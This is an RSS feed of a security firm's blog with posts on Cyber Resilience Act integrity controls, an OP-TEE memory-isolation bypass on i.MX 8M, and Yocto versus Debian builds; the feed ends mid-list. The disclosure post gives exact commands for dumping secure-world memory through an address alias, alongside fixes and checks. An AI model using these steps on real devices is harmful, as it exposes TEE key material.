<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>sigma star gmbh Blog</title><link>https://sigma-star.at/blog/</link><description>Profound insights on Linux, open source and security: We keep you updated on our sigma star blog. Discover valuable tips and stay updated on our work: Dive in!</description><generator>Hugo</generator><language>en</language><lastBuildDate>Mon, 29 Jun 2026 00:00:00 +0200</lastBuildDate><atom:link href="https://sigma-star.at/blog/index.xml" rel="self" type="application/rss+xml"/><item><title>Integrity on Embedded Linux Devices under the Cyber Resilience Act</title><link>https://sigma-star.at/blog/2026/06/integrity-on-embedded-linux-devices-under-the-cyber-resilience-act/</link><pubDate>Mon, 29 Jun 2026 00:00:00 +0200</pubDate><author>Lorenz Kofler</author><guid>https://sigma-star.at/blog/2026/06/integrity-on-embedded-linux-devices-under-the-cyber-resilience-act/</guid><description><![CDATA[<h1 id="integrity-on-embedded-linux-devices-under-the-cyber-resilience-act">Integrity on Embedded Linux Devices under the Cyber Resilience Act</h1>
<p>As with
<a href="https://sigma-star.at/blog/2026/02/data-confidentiality-via-storage-encryption-on-embedded-linux-devices/">confidentiality</a>,
the Cyber Resilience Act (CRA) lists integrity as an essential cybersecurity
requirement.
In this post, we look at what that means for embedded Linux devices.</p>
<p><a href="https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=OJ:L_202402847#anx_I">Annex I, Part
I(2)</a>
states that products with digital elements placed on the EU market shall:</p>
<blockquote>
<p>(f) protect the integrity of stored, transmitted or otherwise processed data,
personal or other, commands, programs and configuration against any
manipulation or modification not authorised by the user, and report on
corruptions</p>]]></description><content:encoded><![CDATA[<h1 id="integrity-on-embedded-linux-devices-under-the-cyber-resilience-act">Integrity on Embedded Linux Devices under the Cyber Resilience Act</h1>
<p>As with
<a href="https://sigma-star.at/blog/2026/02/data-confidentiality-via-storage-encryption-on-embedded-linux-devices/">confidentiality</a>,
the Cyber Resilience Act (CRA) lists integrity as an essential cybersecurity
requirement.
In this post, we look at what that means for embedded Linux devices.</p>
<p><a href="https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=OJ:L_202402847#anx_I">Annex I, Part
I(2)</a>
states that products with digital elements placed on the EU market shall:</p>
<blockquote>
<p>(f) protect the integrity of stored, transmitted or otherwise processed data,
personal or other, commands, programs and configuration against any
manipulation or modification not authorised by the user, and report on
corruptions</p>
</blockquote>
<p>So how does an embedded Linux device actually satisfy this requirement? The
CRA&rsquo;s integrity requirement is as broad as it sounds. It covers not just
(personal and non-personal) data, but also commands, programs, and
configuration, and applies whether the device stores, transmits, or actively
processes those assets.</p>
<p>There is no single technical control that protects all of these assets in all
states. Depending on the product and its threat model, integrity may require
controls for the boot chain, software updates, stored data, application
binaries, configuration, commands, and communication with other systems.</p>
<h2 id="scope-of-the-cra-integrity-requirement">Scope of the CRA Integrity Requirement</h2>
<p>This has two parts:</p>
<h3 id="assets-in-scope">Assets in Scope</h3>
<blockquote>
<p>stored, transmitted or otherwise processed data, personal or other, commands,
programs and configuration</p>
</blockquote>
<p>The CRA names data, commands, programs, and configuration, but it does not
prescribe a fixed list of components or controls. Under <a href="https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=OJ:L_202402847#art_13">Article
13</a>,
the cybersecurity risk assessment must indicate whether and how the Annex I,
Part I(2) requirements apply to the product. For embedded devices, this means
the vendor needs a threat model. It should identify which assets an
attacker could modify, which paths they could use, and what the consequences
would be.</p>
<p>For an embedded device, the assets in scope may include the bootloader, kernel,
kernel command line, application binaries, configuration, and messages or
commands exchanged with other systems. The requirement is therefore not limited
to user data or personal data. Even a device that stores no personal data at all
falls within the integrity requirement.</p>
<h3 id="required-protection">Required Protection</h3>
<blockquote>
<p>protect &hellip; against any manipulation or modification not authorised by the
user, and report on corruptions</p>
</blockquote>
<p>For an embedded Linux device, this means protecting relevant assets against
unauthorised modification, detecting integrity failures where appropriate, and
reporting corruptions. The right technologies depend on the asset and threat
model.</p>
<p>In some cases, protecting against unauthorised modification also requires
<a href="https://csrc.nist.gov/glossary/term/authenticity">authenticity</a>. The device
must verify that software, configuration, commands, or data originate from an
authorised source.</p>
<h2 id="integrity-controls-for-embedded-linux">Integrity Controls for Embedded Linux</h2>
<p>Embedded Linux devices usually need integrity controls at several layers.
The following examples are a starting point, not a checklist for every product:</p>
<ul>
<li>
<p><strong>Secure boot</strong>: to verify the integrity and authenticity of each component in
the boot chain before the device executes it. Implement secure boot carefully:
attackers may abuse inputs outside the chain of trust, such as the kernel
command line or bootloader environment, for bypasses.</p>
</li>
<li>
<p><strong>Signed updates</strong>: to verify the authenticity and integrity of firmware,
operating system, and application updates before the device installs them.
Depending on the product, this may also require rollback protection.</p>
</li>
<li>
<p><strong>Integrity of data at rest</strong>: to detect modification or corruption of stored
data. Depending on the layer and use case, different mechanisms can implement
this, such as:</p>
<ul>
<li><a href="https://docs.kernel.org/admin-guide/device-mapper/verity.html">dm-verity</a>
for read-only block devices</li>
<li><a href="https://docs.kernel.org/admin-guide/device-mapper/dm-integrity.html">dm-integrity</a>
for writable block devices, optionally in combination with
<a href="https://docs.kernel.org/admin-guide/device-mapper/dm-crypt.html">dm-crypt</a>
for authenticated encryption.</li>
<li><a href="https://ejaaskel.dev/yocto-hardening-ima-and-evm/">Linux IMA and EVM</a> for
file integrity and selected file metadata.</li>
<li><a href="https://docs.kernel.org/filesystems/fsverity.html">fs-verity</a> for
read-only file contents.</li>
</ul>
</li>
</ul>
<!-- raw HTML omitted -->
<ul>
<li>
<p><strong>Access control</strong>: to preserve integrity by restricting who or what can modify
relevant assets. A device may implement access control at different
levels, for example with filesystem permissions, Linux security modules such
as
<a href="https://git.kernel.org/pub/scm/linux/kernel/git/pcmoore/selinux.git/tree/README.md">SELinux</a>
or <a href="https://apparmor.net">AppArmor</a>, or application-level authorization checks
for APIs (such as REST or GraphQL).</p>
</li>
<li>
<p><strong>Integrity of data in transit</strong>: to detect unauthorised modification of data
while the device exchanges it with other systems and reject modified data, for
example with TLS.</p>
</li>
<li>
<p><strong>Trusted Execution Environments</strong>: to protect selected code and data while in
use. For instance, TEEs can provide integrity and confidentiality protection
even if an attacker compromises the main operating system, depending on the TEE
design and threat model.</p>
</li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>The main takeaway is that the CRA integrity requirement is broad, and no single
feature can fulfill it. Depending on the threat model, the product may need
multiple complementary technologies.</p>
<p>As a reminder, non-compliance with the CRA carries significant fines. The main
obligations apply from 11 December 2027, after which non-compliance with the
essential cybersecurity requirements can result in fines of up to <a href="https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=OJ:L_202402847#art_64">EUR 15,000,000
or 2.5% of total worldwide annual
turnover</a>.</p>
<p>If you need help deriving a threat model, selecting suitable integrity
mechanisms, or reviewing whether your existing mitigations cover the relevant
threats, we&rsquo;d be happy to help.</p>
]]></content:encoded></item><item><title>TrustZone Intermezzo: Broken OP-TEE Memory Isolation on i.MX 8M</title><link>https://sigma-star.at/blog/2026/06/trustzone-intermezzo/</link><pubDate>Thu, 11 Jun 2026 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2026/06/trustzone-intermezzo/</guid><description><![CDATA[<h1 id="trustzone-intermezzo-broken-op-tee-memory-isolation-on-imx-8m">TrustZone Intermezzo: Broken OP-TEE Memory Isolation on i.MX 8M</h1>
<p>TL;DR: <em>If you don&rsquo;t run upstream OP-TEE newer than v4.10.0 with <code>CFG_TZASC_REGION0_SECURE=y</code> or i.MX downstream OP-TEE newer than lf-6.12.49_2.2.0, OP-TEE&rsquo;s memory is not properly protected and can
be compromised from the normal world.</em></p>
<p>Recently, a <a href="https://github.com/OP-TEE/optee_os/commit/31bb491f8e7c78794b6f9615cc4f2deec58b4ed9">commit from 2024</a> in the OP-TEE OS git repository caught our attention.
It makes sure the TrustZone Address Space Controller (TZASC) is enabled on all i.MX 8M SoCs.
Our first reaction was mixed. Can it really be that prior to this commit OP-TEE <em>forgot</em> to protect
its own memory region? Or does the commit just add another safeguard against certain misconfigurations?
And if so, why was no CVE filed?</p>]]></description><content:encoded><![CDATA[<h1 id="trustzone-intermezzo-broken-op-tee-memory-isolation-on-imx-8m">TrustZone Intermezzo: Broken OP-TEE Memory Isolation on i.MX 8M</h1>
<p>TL;DR: <em>If you don&rsquo;t run upstream OP-TEE newer than v4.10.0 with <code>CFG_TZASC_REGION0_SECURE=y</code> or i.MX downstream OP-TEE newer than lf-6.12.49_2.2.0, OP-TEE&rsquo;s memory is not properly protected and can
be compromised from the normal world.</em></p>
<p>Recently, a <a href="https://github.com/OP-TEE/optee_os/commit/31bb491f8e7c78794b6f9615cc4f2deec58b4ed9">commit from 2024</a> in the OP-TEE OS git repository caught our attention.
It makes sure the TrustZone Address Space Controller (TZASC) is enabled on all i.MX 8M SoCs.
Our first reaction was mixed. Can it really be that prior to this commit OP-TEE <em>forgot</em> to protect
its own memory region? Or does the commit just add another safeguard against certain misconfigurations?
And if so, why was no CVE filed?</p>
<p>Remember how the two worlds are split. OP-TEE runs in the so-called secure world of the SoC, while an
operating system such as Linux runs in the normal world (AKA non-secure world).
Arm TrustZone enforces this split using the TZASC.</p>
<figure>
<img src="https://sigma-star.at/blog/2026/06/trustzone-intermezzo/el.svg" loading="lazy" decoding="async" alt="The normal world and the secure world, separated by Arm TrustZone"></figure>
<p>So it is crucial that the normal world cannot directly access secure world memory.
OP-TEE often implements a software TPM or holds other secret keys.
Linux must not touch it, neither the kernel nor root in userspace.</p>
<p>That commit nagged at us, so we decided to dig in and give it a try.
Many of our customers run i.MX 8M based systems and strongly emphasize security.
We had a lot of fun along the way, so this blog post documents our journey.</p>
<h2 id="confirming-the-bug">Confirming the Bug</h2>
<p>We booted one of our i.MX 8M boards, to be precise the NXP i.MX 8M Mini EVK, with OP-TEE version 4.1.0,
which does not contain that commit.
On this system, OP-TEE places its main memory at address <code>0xbe000000</code>, so we tried to dump that region from Linux.
The attempt should fail, because Linux runs in the normal world and OP-TEE in the secure world.</p>
<p>On Linux, root can reach all system memory through <code>/dev/mem</code>, so we attempted to read from <code>0xbe000000</code> that way.
Tools such as <a href="https://github.com/denix0/devmem2">devmem2</a> exist, but we wrote a few lines of Python to stay flexible.
Access failed right away. Good. Right?</p>
<p>Not so fast. The kernel on this system was built with <code>CONFIG_STRICT_DEVMEM</code>.
That option limits <code>/dev/mem</code> to device memory only, so it blocked our read before TrustZone ever came
into play.
Time to rebuild the kernel with <code>CONFIG_STRICT_DEVMEM</code> disabled.</p>
<p>On the freshly built kernel, the read still failed. Good, but were we sure?
Thinking harder, we turned to the kernel log and found this line:</p>
<pre tabindex="0"><code>OF: reserved mem: 0x00000000be000000..0x00000000bfbfffff (28672 KiB) nomap non-reusable optee_core@be000000
</code></pre><p>OP-TEE adds reserved-memory nodes to the device tree passed to Linux, so Linux ignores this memory
region completely.
The <code>nomap</code> property in particular makes sure the region is never mapped.
So our test could not work: Linux <em>itself</em> keeps the OP-TEE region out of reach.
But that is not what we wanted to test. We wanted to know whether the access is possible at all.
Linux runs in the normal world, and it must not reach that memory even when it really wants to.
After changing a few lines of code, we had a kernel that ignored the <code>nomap</code> hint from OP-TEE.
In a real-world scenario, an attacker who has taken over the kernel can bypass this restriction too,
most simply by loading a custom kernel module.</p>
<p>Time to check again.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="c1"># dump memory</span>
</span></span><span class="line"><span class="cl">$ python3 devmem.py 0xbe000000 0x100000 &gt; optee_core.bin
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># check for a well known string</span>
</span></span><span class="line"><span class="cl">$ strings optee_core.bin <span class="p">|</span> grep <span class="s2">&#34;OP-TEE version&#34;</span>
</span></span><span class="line"><span class="cl">OP-TEE version: %s
</span></span></code></pre></div><p>Indeed, we could read OP-TEE&rsquo;s memory from Linux!
The bug is real and serious. It renders the whole security purpose of OP-TEE void.
A compromised Linux system can reach the secure world and extract or even alter key material.</p>
<h2 id="its-not-over-yet-the-mysterious-region0-and-memory-aliases">It&rsquo;s Not Over Yet: The Mysterious region0 and Memory Aliases</h2>
<p>This story could have ended here. OP-TEE forgot to enforce the memory restriction on a certain platform, a single commit fixed
it, and we&rsquo;re good. Not nice, but bugs happen. That&rsquo;s life.</p>
<p>While further investigating, we found other commits related to the TZASC:</p>
<ul>
<li>arm-trusted-firmware: <a href="https://github.com/ARM-software/arm-trusted-firmware/commit/9bf148071aad597e7fe7d1080c00aeb35b67a3dd">fix(imx8m): don&rsquo;t reconfigure default region0</a></li>
<li>optee: <a href="https://github.com/OP-TEE/optee_os/commit/443c5817de47f1bd19091b419806898070382a67">drivers: imx: tzc380: add support to verify region0</a></li>
</ul>
<p>These commit messages hinted at a deeper problem.
Protecting the secure world from the normal world takes more than enabling the TZASC correctly.
The root cause is that the TZASC is not memory alias aware.</p>
<p>With the right <a href="https://github.com/OP-TEE/optee_os/commit/31bb491f8e7c78794b6f9615cc4f2deec58b4ed9">fix</a>, OP-TEE makes sure its memory region cannot be reached from the
normal world.
But that protection rests on the address alone, in our case <code>0xbe000000</code>.
Because the controller is not memory alias aware, another address can point to the very same memory location and slip past the access check.</p>
<p>This is where <code>region0</code> becomes relevant. The TZASC allows configuring access permissions for
certain memory address ranges. If a requested address has no configured range in the TZASC, it falls back to <code>region0</code>.
<code>region0</code> is a memory range configuration that covers the whole address space known to the SoC. Think of it as a wildcard.
In the reset state <code>region0</code> is secure-only, ensuring the fallback is safe.
So all good? Sadly not, and that is exactly what the <a href="https://github.com/ARM-software/arm-trusted-firmware/commit/9bf148071aad597e7fe7d1080c00aeb35b67a3dd">TF-A commit</a> fixes.</p>
<p>If memory aliases can happen on your system, and some component reconfigures <code>region0</code> during boot to
allow normal world access, you are in deep trouble.
Nothing about that configuration makes the danger obvious.</p>
<h2 id="trying-harder">Trying harder</h2>
<p>After upgrading both OP-TEE and TF-A, everything seemed fine.
Access to <code>0xbe000000</code> was no longer possible.
All good, until we noticed that the OP-TEE config option <code>CFG_TZASC_REGION0_SECURE</code> was disabled in our
test setup.
<code>CFG_TZASC_REGION0_SECURE</code> tests whether <code>region0</code> is securely configured, which means only access from the
secure world is allowed.
Enabling it revealed the harsh truth.
OP-TEE panicked very early at startup:</p>
<pre tabindex="0"><code>E/TC:0 0 Panic &#39;region0 is not secure configured, non-secure memory alias access possible!&#39; at core/arch/arm/plat-imx/tzc380.c:217 &lt;imx_configure_tzasc&gt;
</code></pre><p>So something on our system was <em>still</em> touching <code>region0</code>.
Following a hunch, we looked at what our bootloader, <a href="https://source.denx.de/u-boot/">U-Boot</a>, does.
In <code>arch/arm/mach-imx/imx8m/soc.c</code> it allows non-secure access to <code>region0</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">enable_tzc380</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="p">[...]</span>
</span></span><span class="line"><span class="cl">        <span class="cm">/*
</span></span></span><span class="line"><span class="cl"><span class="cm">         * set Region 0 attribute to allow secure and non-secure
</span></span></span><span class="line"><span class="cl"><span class="cm">         * read/write permission. Found some masters like usb dwc3
</span></span></span><span class="line"><span class="cl"><span class="cm">         * controllers can&#39;t work with secure memory.
</span></span></span><span class="line"><span class="cl"><span class="cm">         */</span>
</span></span><span class="line"><span class="cl">        <span class="nf">writel</span><span class="p">(</span><span class="mh">0xf0000000</span><span class="p">,</span> <span class="n">TZASC_BASE_ADDR</span> <span class="o">+</span> <span class="mh">0x108</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Removing that <code>writel()</code> made the OP-TEE panic go away and confirmed that nobody else touches <code>region0</code>
anymore.</p>
<p>Still, the aliasing question nagged at us. Was this a real issue or only a theoretical one?
The i.MX 8M Mini reference manual showed no memory alias for the area our OP-TEE uses.
Maybe we were safe even without the <code>region0</code> fixes?</p>
<p>Therefore, we wrote a tiny program that uses <code>/dev/mem</code> and <code>/proc/self/pagemap</code> to find addresses that map to the
same physical memory.
It picks a page, reads its contents, flips a few high bits of the address, and checks whether the new
address returns the same bytes.
The approach turned out to be far more complicated than needed once it found the first aliases.
Testing the OP-TEE area with the protection disabled, one alias for <code>0xbe000000</code> came out as <code>0x1be000000</code>.</p>
<p>So the DDR controller of the i.MX 8M series <em>ignores</em> the upper 32 bits of a memory address.
The TZASC and the DDR controller therefore disagree: the TZASC sees two unrelated addresses,
while the DDR controller maps them to the same location.
The TZASC settings do not apply to the alias, so the access falls through to <code>region0</code>.
Not all upper bits are usable on Linux, because the address still has to fit into the configured
address space. But setting bit 32 seemed to work fine.</p>
<p>As a final test, we re-applied all fixes but left U-Boot untouched, such that it reconfigured <code>region0</code>, and tried to dump OP-TEE&rsquo;s memory:</p>
<pre tabindex="0"><code>$ python3 devmem.py 0xbe000000 0x100000 &gt; optee_core.bin
Bus error
$ python3 devmem.py 0x1be000000 0x100000 &gt; optee_core.bin
$ strings optee_core.bin | grep &#34;OP-TEE version&#34;
OP-TEE version: %s
</code></pre><p>It worked. The direct address was blocked, but the alias sailed right through, and all the protection
turned out to be in vain.</p>
<h2 id="am-i-affected">Am I affected?</h2>
<p>You are potentially affected if you run OP-TEE on an i.MX 8M SoC. Two separate issues make the bypass
possible, and either one is enough to break the isolation:</p>
<ol>
<li>OP-TEE prior to 4.2.0 does not enable the TZASC by default on i.MX 8M, so the secure region is never protected.</li>
<li>Other components, such as bootloaders and TF-A, reconfigure <code>region0</code>. Once a memory alias falls
through to an open <code>region0</code>, the normal world reaches secure memory. Starting with OP-TEE 4.10.0, it&rsquo;s
possible to detect this.</li>
</ol>
<p>To check your own system, run a recent OP-TEE with <code>CFG_TZASC_REGION0_SECURE</code> enabled. With that option
OP-TEE verifies <code>region0</code> at startup and panics when it is not secure, so it also catches the case where
another component reconfigures <code>region0</code> behind its back. The option is only available on OP-TEE 4.10.0
and newer.</p>
<p>If you use U-Boot as your bootloader, revert commit <a href="https://source.denx.de/u-boot/u-boot/-/commit/b3cf0a8f03d162e030cde1131751d060853e16fc">imx8m: Configure trustzone region 0 for non-secure access</a> in the meantime.
We gave the developers a <a href="https://lore.kernel.org/u-boot/3208216.Ym5mLc6kNg@nailgun/T/#u">heads-up</a>.
As soon as a better solution is available, we&rsquo;ll note it here.</p>
<p>There is a special case for the i.MX downstream OP-TEE. If you run it, use at least the version that
contains commit <a href="https://github.com/nxp-imx/imx-optee-os/commit/c09d6e9da171f8c5ee42b42ff144b320761a5f16">LFOPTEE-468 core: plat-imx: tzc380: update TZASC configuration</a>.
Sadly, downstream chose a different path. Instead of insisting on fixing the other
components, they reconfigure <code>region0</code> to disable non-secure access.
It only papers over the real problem: other software components change <code>region0</code> for the wrong reasons.
Our hint on the U-Boot mailing list caused a <a href="https://github.com/OP-TEE/optee_os/pull/7838">heated discussion</a> on the OP-TEE GitHub about how to deal with it.</p>
<p>Our main advice is simple: update OP-TEE, TF-A, and your bootloader regularly, because they carry
important bug fixes.
Sadly, no CVE numbers have been filed for these issues, so there is a good chance many users missed
them. Although we are late to the party, we have requested CVE numbers and will update this blog
post as soon as the CVEs are assigned.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Modern computer systems are endlessly complex, and even well-established components can hide odd issues.
We had to peel back multiple layers to fully confirm the real issue:</p>
<ul>
<li><code>CONFIG_STRICT_DEVMEM</code> blocked the first test.</li>
<li>The device tree <code>nomap</code> property kept Linux from mapping the region at all.</li>
<li>Only after removing both did the TZASC alias bypass become visible.</li>
</ul>
<p>From a security and code-audit perspective, one principle holds once more: do not trust anything.
Even the memory protection of OP-TEE needs rigorous testing and, as we showed, you have to be sure you are
testing the right thing.
A less experienced engineer might have concluded that all was well, because Linux itself denied the first
access attempts.</p>
<p>Finally, thanks to <a href="https://www.pengutronix.de/">Pengutronix</a> for addressing the issue in TF-A and OP-TEE!</p>
]]></content:encoded></item><item><title>You probably don't need Yocto, and that's fine</title><link>https://sigma-star.at/blog/2026/05/you-probably-dont-need-yocto-and-thats-fine/</link><pubDate>Tue, 26 May 2026 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2026/05/you-probably-dont-need-yocto-and-thats-fine/</guid><description><![CDATA[<h1 id="you-probably-dont-need-yocto-and-thats-fine">You probably don&rsquo;t need Yocto, and that&rsquo;s fine</h1>
<p>New customers often look surprised when, during the planning phase, we ask whether they really need Yocto.
The unspoken assumption is usually that any serious embedded Linux project these days has to use Yocto.
We at sigma star gmbh consider ourselves power users and Yocto experts.
That&rsquo;s exactly why we&rsquo;re often the ones telling our customers to think twice before reaching for it.
So why is Yocto the default, and when is it the wrong default?</p>]]></description><content:encoded><![CDATA[<h1 id="you-probably-dont-need-yocto-and-thats-fine">You probably don&rsquo;t need Yocto, and that&rsquo;s fine</h1>
<p>New customers often look surprised when, during the planning phase, we ask whether they really need Yocto.
The unspoken assumption is usually that any serious embedded Linux project these days has to use Yocto.
We at sigma star gmbh consider ourselves power users and Yocto experts.
That&rsquo;s exactly why we&rsquo;re often the ones telling our customers to think twice before reaching for it.
So why is Yocto the default, and when is it the wrong default?</p>
<h2 id="what-is-yocto-actually">What is Yocto, actually?</h2>
<p>People sometimes call it &ldquo;the Yocto Linux distribution&rdquo;.
That&rsquo;s not what it is.
Yocto is a <em>toolkit for building your own Linux distribution</em>.
The Yocto Project itself ships a reference distribution called Poky, built from <code>bitbake</code>, <code>openembedded-core</code>, and <code>meta-yocto</code><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>.</p>
<p>The ability to assemble a Linux system that matches your needs exactly makes Yocto incredibly powerful for embedded projects.
You can compile the whole user space for your CPU, apply patches to any component, toggle features on or off in any recipe, and pin or change every version.
On top of that, many System on Chip (SoC) vendors and hardware partners publish ready-to-use Board Support Package (BSP) layers, which give you a working starting point on real hardware.</p>
<p>That mix of flexibility and vendor support makes Yocto the default choice.
The same mix also turns it into a trap when you don&rsquo;t actually need that much control.</p>
<h2 id="your-distribution-means-your-responsibility">Your distribution means your responsibility</h2>
<p>With regulations like the Cyber Resilience Act (CRA)<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>, product vendors now have to keep the software they ship secure and provide security updates for the lifetime of the product.
That can be a long time to maintain a Linux system.</p>
<p>A regular Yocto release lives only about seven months, until the next release lands.
Long Term Support (LTS) releases get up to four years of updates, which is the current policy starting with Yocto 5.0 (Scarthgap)<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>.</p>
<p>One might ask why four years isn&rsquo;t enough.
But there&rsquo;s a less obvious problem.
To see it, we need to look at what a Yocto LTS release actually maintains.</p>
<p>A Yocto release is a set of <code>bitbake</code> recipes for software components, with specific versions and metadata, plus the reference distribution Poky.
During the maintenance period, the Yocto maintainers apply bug and security fixes to those components and to Poky.
For software components, those fixes usually take the form of backports from newer upstream versions.</p>
<p>And here&rsquo;s the twist.
Since Yocto is a <em>tool to build your own distribution</em>, you&rsquo;ve most likely made changes like these:</p>
<ul>
<li>Non-trivial patches or local tweaks to a handful of components.</li>
<li>Extra components added on top of what Yocto ships.</li>
<li>Version bumps or pins to pick up a fix or hold a known-good state.</li>
</ul>
<p>With every Yocto maintenance release, you&rsquo;ll have to check whether your changes still apply cleanly on top of the new state.
On top of that, you need to confirm that the components you added or pinned still receive fixes from somewhere, because Yocto&rsquo;s maintainers don&rsquo;t know about them.
At the end of the day, it&rsquo;s <em>your</em> maintenance work.</p>
<p>If you take Poky and use it almost unchanged, a fair question to ask is: Why are you using Yocto in the first place?</p>
<h3 id="the-elephant-in-the-room-the-linux-kernel">The elephant in the room: the Linux kernel</h3>
<p>Yocto ships a Linux kernel and maintains it as part of each release.
But you probably won&rsquo;t use it unmodified.
You almost always have to apply at least your vendor&rsquo;s patches, and run a kernel new enough to include the drivers and fixes you depend on.
So once you factor in CVE tracking, the kernel alone is a big part of your maintenance work, whether you use Yocto or not.</p>
<p>There&rsquo;s a way to keep that work under control.
We strongly advise our customers to build on top of an LTS kernel from kernel.org<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> and keep all their changes in a tidy patch queue.
To stay current on security fixes, move to each new stable release and re-apply the patch queue.
kernel.org maintains LTS kernels for years, so your patch queue usually applies cleanly and only needs real work when you jump to a new LTS release.</p>
<p>Depending on your setup and security requirements, the same applies to the bootloader, which is usually just as vendor-specific.</p>
<p>And for completeness: sticking with the kernel your vendor ships is usually a bad idea.
Vendor kernels sit years behind kernel.org, rarely receive updates, and miss almost all security fixes.
Exceptions prove the rule.</p>
<h2 id="the-hidden-cost-of-a-custom-distribution">The hidden cost of a custom distribution</h2>
<p>Building &ldquo;your own distribution&rdquo; sounds great in a slide deck.
In practice, it costs real engineering time.</p>
<ul>
<li><strong>Build times.</strong> Yocto compiles practically everything from source. A clean build of a non-trivial image takes hours on a fast workstation. The <code>sstate-cache</code> and a shared <code>DL_DIR</code> make repeat builds faster, but the cache itself is fragile: a small recipe change can invalidate large parts of it.</li>
<li><strong>Disk and CI cost.</strong> A working Yocto build directory easily reaches 100 GiB or more. CI runners need beefy storage and a way to share <code>sstate</code> between jobs. You can mirror <code>sstate</code> and <code>DL_DIR</code> to make this less painful, but that infrastructure is yours to operate.</li>
<li><strong>Learning curve.</strong> <code>bitbake</code> recipes, layers, dynamic layers, classes, overrides, <code>bbappend</code> files, <code>PACKAGECONFIG</code>, the difference between <code>DEPENDS</code> and <code>RDEPENDS</code>: the list of things you need to internalise before you can ship a Yocto image is long. Onboarding an engineer into a Yocto codebase takes weeks, not days.</li>
<li><strong>BSP layer quality varies.</strong> Some SoC vendors ship clean, well-maintained BSP layers. Others ship a <code>meta-vendor</code> layer that pins a five-year-old kernel or bootloader, hardcodes machine-specific recipes into the wrong layers, and breaks every time you bump Poky. That &ldquo;good starting point&rdquo; can become the worst part of your build.</li>
</ul>
<p>None of this is a reason to avoid Yocto.
It&rsquo;s a reason to make sure you actually need it before you commit.</p>
<h2 id="an-alternative-reuse-an-established-distribution">An alternative: reuse an established distribution</h2>
<p>If all you really need is a solid Linux foundation to run your application on, an established distribution like Debian GNU/Linux solves most of the same problems with much less per-project work<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>.</p>
<p>Debian today ships about 70,000 binary packages, built for all common architectures: <code>amd64</code>, <code>i386</code>, <code>arm64</code>, <code>armhf</code>, <code>riscv64</code>, <code>ppc64el</code>, and a handful of others<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>.
Chances are good that your SoC can run those binaries directly, with no recompilation required.</p>
<p>Debian doesn&rsquo;t only ship modern user space with <code>systemd</code>, <code>udev</code>, and <code>dbus</code>.
The archive also contains everything you need to build small Linux systems with SysV-style init or BusyBox.
You pick a slim base, install only the packages your product needs, and still benefit from the work of Debian&rsquo;s package maintainers.</p>
<h3 id="debian-maintenance">Debian maintenance</h3>
<p>Debian stable receives security updates from the Debian Security Team for roughly three years.
After that, the Debian LTS project, a community effort, extends support for about two more years on common architectures<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>.
That works out to around five years per release in practice, close to a Yocto LTS, but with far less per-project work.</p>
<p>To pick up the latest fixes, you fetch the latest Debian packages and re-roll your image.
Compared to a Yocto setup where you have to backport upstream patches yourself, or recheck whether your local modifications still apply on top of a maintenance release, that&rsquo;s a different world.</p>
<h3 id="how-does-an-embedded-image-actually-get-built">How does an embedded image actually get built?</h3>
<p>This is usually the point where people get confused.
They picture booting an SoC from a USB flash drive and running the Debian installer.
That&rsquo;s not what we mean.</p>
<p>The idea is to generate a flashable image on a build host and write it to the device.
To do that, you need:</p>
<ul>
<li>Bootloader, usually SoC-specific (e.g. <code>u-boot</code>).</li>
<li>Linux kernel, usually SoC-specific too.</li>
<li>Root filesystem with the Linux user space, taken straight from Debian.</li>
<li>Image assembly tool to glue the three together into a flashable image.</li>
</ul>
<p>For that last piece, the three usual suspects are <code>mkosi</code><sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup>, <code>ELBE</code><sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup>, and <code>debos</code><sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup>.</p>
<p>All three are free software, and all three produce a deterministic image you can flash to your hardware.
The maintenance work shrinks dramatically: most updates become an <code>apt</code>-style refresh of the packages in the image, not a recipe rewrite.</p>
<h3 id="example-debos">Example: debos</h3>
<p>To make the Debian path concrete, here&rsquo;s the rough shape of a <code>debos</code>-based build.</p>
<p><code>debos</code> reads a YAML <em>recipe</em>: a list of <em>actions</em> such as running a command, generating a root filesystem, or installing a Debian package from a configured source.</p>
<p>The basic workflow looks like this:</p>
<ul>
<li>Use <code>aptly</code><sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup> to run a local Debian mirror that holds a copy of every Debian package you need.</li>
<li>Build your Linux kernel and, optionally, your bootloader as Debian packages and add them to the mirror.</li>
<li>Snapshot the mirror and tag the snapshot. That tag is your release.</li>
<li>Configure <code>debos</code> to use the mirror, and write recipe actions that produce your target image.</li>
